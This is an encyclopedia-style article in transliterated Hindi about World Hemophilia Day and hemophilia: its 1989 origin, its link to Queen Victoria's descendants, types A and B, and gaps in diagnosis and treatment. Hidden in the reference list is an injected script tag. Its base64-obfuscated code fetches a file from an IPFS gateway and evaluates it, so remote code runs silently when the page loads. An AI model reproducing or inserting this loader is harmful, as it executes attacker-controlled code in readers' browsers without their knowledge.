विश्व हीमोफ़ीलिया दिवस

भारत डिस्कवरी प्रस्तुति
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vishv himofiliya divas
vivaran 'vishv himofiliya divas' poore vishv mean phaili gambhir bimari 'himofiliya' ke prati logoan mean jagarukata lane ke lie manaya jata hai.
manane ki tithi 17 aprail
shuruat 1989
uddeshy is divas ko manane ka uddeshy himofiliya ke prati logoan mean jagarukata lana hai.
vishesh 'himofiliya' rog ka pata sarvapratham us vakt laga, jab briten ki maharani viktoriya ke vanshaj ek ke bad ek is bimari ki chapet mean ane lage. shahi parivar ke kee sadasyoan ke himofiliya se pi dit hone ke karan hi ise 'shahi bimari' kaha jane laga tha.
any janakari 'himofiliya' ke prati jagarukata lane ke lie 1989 se is divas ki shuruat ki gee. tab se har sal 'varld fedareshan aauf himofiliya' ke sansthapak phraiank kainebal ke janmadin 17 aprail ke din 'vishv himofiliya divas manaya jata hai.

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vishv himofiliya divas (aangrezi: World Hemophilia Day) 17 aprail ko manaya jata hai. is din ka uddeshy himofiliya rog aur rakt bahane sanbandhi any bimariyoan ke prati logoan mean jagarukata phailana hai. pratyek varsh '17 aprail' ko 'vishv himofiliya divas' ke roop mean manaya jata hai. himofiliya rakt se ju di ek khataranak aur janaleva bimari hai. is bimari mean chot lagane ya kisi any vajah se rakt bahana shuroo hone par band nahian hota, jis karan yah janaleva siddh hoti hai.

itihas

'shahi bimari' kahe jane vale rog 'himofiliya' ka pata sarvapratham us vakt chala tha, jab briten ki maharani viktoriya ke vanshaj ek ke bad ek is bimari ki chapet mean ane lage. shahi parivar ke kee sadasyoan ke himofiliya se pi dit hone ke karan hi ise 'shahi bimari' kaha jane laga tha. purushoan mean is bimari sambhavana sabase adhik hoti hai. is samay vishvabhar mean lagabhag 50 hazar se zyada log is rog se pi dit haian.[1]

jagarukata

poore vishv mean is bimari ke prati logoan mean jagarukata lane ke lie 17 aprail ko 'vishv himofiliya divas' manaya jata hai. 'vishv himofiliya divas' ka lakshy is bimari ke prati jagarookata phailana aur sabhi ke lie upachar upalabdh karana hai. himofiliya ek anuvaanshik bimari hai, jo mahilaoan ki tulana mean purushoan mean adhik hoti hai. is bimari se grast vyakti mean khoon ke thakke asani se nahian ban pate haian. aise mean jara-si chot lagane par bhi rogi ka bahut sara khoon bah jata hai. darasal, is bimari ki sthiti mean khoon ke thakka jamane ke lie avashyak protinoan ki kami ho jati hai.

shuruat

isake prati jagarookata phailane ke lie 1989 se 'vishv himofiliya divas' manane ki shuruat ki gee. tab se har sal 'varld fedareshan aauf himofiliya' (dablyooephech) ke sansthapak phraiank kainebal ke janmadin 17 aprail ke din 'vishv himofiliya divas manaya jata hai. phraiank ki 1987 mean sankramit khoon ke karan eds hone se maut ho gee thi. dablyooephech ek aantarrashtriy sangathan hai, jo is rog se grast marijoan ka jivan behatar banane ki disha mean kam karata hai.

himofiliya

himofiliya rakt se ju di khataranak bimari hai. is bimari mean chot lagane ya kisi any vajah se rakt ka bahana shuroo to ho jata hai, lekin phir use rokana mushkil ho jata hai. alag-alag marijoan mean rog ki ganbhirata mean aantar hota hai. kuchh marijoan mean rakt ke jamane ki kshamata kam hoti hai, jabaki bimari big dane par yah bilkul samapt ho jati hai. yah bimari lailaj zaroor hai, par sahi ilaj dvara niyantrit ki ja sakati hai. is rog ka ek karan rakt protin ki kami bataee jati hai, jise 'kl aautiang phaiktar' kaha jata hai. is phaiktar ke karan hi bahate hue rakt ka thakka jamata hai aur khoon bahana rukata hai.[1]

prakar

himofiliya do prakar ka hota hai. inamean se ek himofiliya 'e' aur doosara himofiliya 'bi' hai. himofiliya 'e' samany roop se paee jane vali bimari hai. isamean rakt mean thakke banane ke lie avashyak 'phaiktar 8' ki kami ho jati hai. himofiliya 'bi' mean khoon mean 'phaiktar 9' ki kami ho jati hai. paanch hazar se das hazar purushoan mean se ek ke himofiliya 'e' grast hone ka khatara rahata hai, jabaki 20,000 se 34,000 purushoan mean se ek ke himofiliya 'bi' grast hone ka khatara rahata hai.

mahattvapoorn tathy

mahilaoan ke is bimari se grast hone ka khatara bahut kam hota hai. ve jyadatar is bimari ke lie jimmedar anuvaanshik ikaiyoan ki vahak ki bhoomika nibhati haian. vartaman mean mahattvapoorn tathy yah bhi hai ki is rog se grast 70 pratishat marijoan mean is bimari ki pahachan tak nahian ho pati aur 75 pratishat rogiyoan ka ilaj nahian ho pata. isaki vajah logoan ke pas svasthy jagarukata ki kami aur sarakaroan ki is bimari ke prati udasinata to hai hi sath hi ek mahatvapoorn karak yah bhi hai ki is bimari ki pahachan karane ki takanik aur ilaj mahanga hai. parinamasvaroop is bimari se grast jyadatar marij bachapan mean hi mar jate haian aur jo bachate haian, ve vikalaangata ke sath jivanayapan karane ko majaboor hote haian.[1]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. 1.0 1.1 1.2 himofiliya (hindi). . abhigaman tithi: 09 aprail, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

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varnamala kramanusar lekh khoj

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